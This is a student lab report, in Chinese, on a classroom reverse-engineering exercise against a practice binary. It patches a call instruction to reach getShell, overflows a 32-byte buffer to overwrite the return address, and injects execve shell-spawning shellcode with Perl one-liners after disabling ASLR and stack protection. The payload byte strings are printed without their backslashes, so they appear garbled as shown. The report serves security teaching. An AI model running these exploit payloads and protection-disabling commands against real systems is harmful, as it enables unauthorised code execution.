20175201张驰网络对抗exp1—PC平台逆向破解

一、任务
- 实践目标
- 实践内容
二、基础知识
三、实验步骤
四、遇到的问题和解决方式
- bash：'!'......
- 权限不够
五、实验收获和感想

一、任务

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。
我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode

实践内容

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标：
运行原本不可访问的代码片段
强行修改程序执行流
注入运行任意代码

二、基础知识

ESP寄存器
ESP专门用作堆栈指针，被形象地称为栈顶指针，存放当前线程的栈顶指针，堆栈的顶部是地址小的区域，压入堆栈的数据越多，ESP也就越来越小。在32位平台上，ESP每次减少4字节
EIP寄存器
EIP寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从EIP寄存器中读取下一条指令的内存地址，然后继续执行

三、实验步骤

1、直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术

(1)首先将pwn1用cp拷贝到作业目录，然后用mv进行重命名

(2)输入objdump -d 20175201pwn1进行反汇编

第12行，call 8048491是汇编指令
是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为`e8 d7ffffff，e8即跳转之意
本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，
main函数调用foo，对应机器指令为e8 d7ffffff，
我们想让它调用getShell，只要修改d7ffffff为，getShell-80484ba对应的补码就行。
用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff

(3)vim 20175201pwn1

(4)先按esc，之后输入:%!xxd，以显示16进制内容

(5)输入/e8 d7快速找到我们想要的地方，注意一定要加空格！

(6)按i进入插入模式，修改d7为c3

(7):%!xxd -r将16进制内容转换为原来的格式；

(8):wq保存并退出

(9)./20175201pwn1

2、通过构造输入参数，造成BOF攻击，改变程序执行流

(1)首先拷贝一份pwn1，然后用mv进行重命名

(2)输入objdump -d 20175201pwn2进行反汇编

我们的目标是触发getshell函数
该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
这里读入字符串，但系统只预留了 32 字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
call调用了foo,同时在堆栈上压上返回地址值:80484ae

(3)确认输入字符串哪几个字符会覆盖到返回地址

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给20165201pwn2，20165201pwn2就会运行getShell

(4)构造输入字符串

关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。使用输出重定向“>”将perl生成的字符串存储到文件input中
如图输入命令，将1111111122222222333333334444444412345678换成11111111222222223333333344444444x7dx84x04x08

可以使用16进制查看指令xxd查看input文件的内容是否如预期

（5）然后将input的输入，通过管道符“|”，作为20175201pwn2的输入

（6）成功！！！

3、注入Shellcode并执行

(1)准备一段Shellcode

shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

(2)准备工作

要注意的是，我们的实验目前是在非常简单的一个预设条件下完成的：

apt-get install execstack //安装execstack命令  
execstack -s pwn1 //设置堆栈可执行  
execstack -q pwn1 //查询文件的堆栈是否可执行  
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化   
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化  
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(3)构造要注入的payload

输入

perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

其中32个A是为了填充缓冲区，而x04x03x02x01是预留的返回地址retaddr

接下来我们来确定x4x3x2x1到底该填什么
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20175201pwn2

打开一个终端输入ps -ef | grep 20175201pwn2来查找进程号，可以看到第一行，进程号即为4924(不过第一次做错了，第二次做的时候是5515)
打开另一个终端，用gdb调试，输入指令attach 5515

(4)通过设置断点，来查看注入buf的内存地址

用disassemble foo命令反汇编，查看foo函数

用break *0x080484ae命令设置断点，在之前的终端中按下回车，输入c命令继续运行
用````info r esp命令查找地址，这里可以看到堆栈指针esp为0xffffd36c```

我们输入x/16x 0xffffd2ec查看其存放内容，看到0x01020304了，就是返回地址的位置。shellcode就挨着，所以shellcode的起始地址是0xffffd370（加4字节）

那么思路很清晰了，接下来将之前的x4x3x2x1改为这个地址即可，输入命令

perl -e 'print "A" x 32;print "x70xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

注入成功！！！

四、遇到的问题和解决方式

bash：'!'......

解决:虽然安装的时候解决了中文乱码的问题，但是这次还是出现了。虽然很无奈，但是找上次安装时的教程再来一遍就好了

权限不够

解决：有几个步骤会出现‘权限不够’的提示。命令行输入su输入密码解决

五、实验收获和感想

本次实验我们主要学习了缓冲区溢出与shellcode，这也是我自己第一次实践攻击程序，修改程序的路径，给我感觉自己像一个刚入门的黑客的感觉，挺有意思的。实验过程中当然也出现了不少问题，像输入错误、顺序错误等等导致重新再来一遍的失误，是我自己不小心导致的所以没往报告中写，当然，过程中也参考了学长学姐之前的博客，自己把自己思考分析的过程详细整理了一下，最后当攻击成功后，那种内心的满足感和成就感油然而生。
希望自己在今后能学到更多关于网络对抗方面的知识。
什么是漏洞？漏洞有什么危害？
漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误，或者是庞大的代码中的可乘之机。
漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利，让个人社会乃至国家遭受损失。

20175201张驰 网络对抗exp1—PC平台逆向破解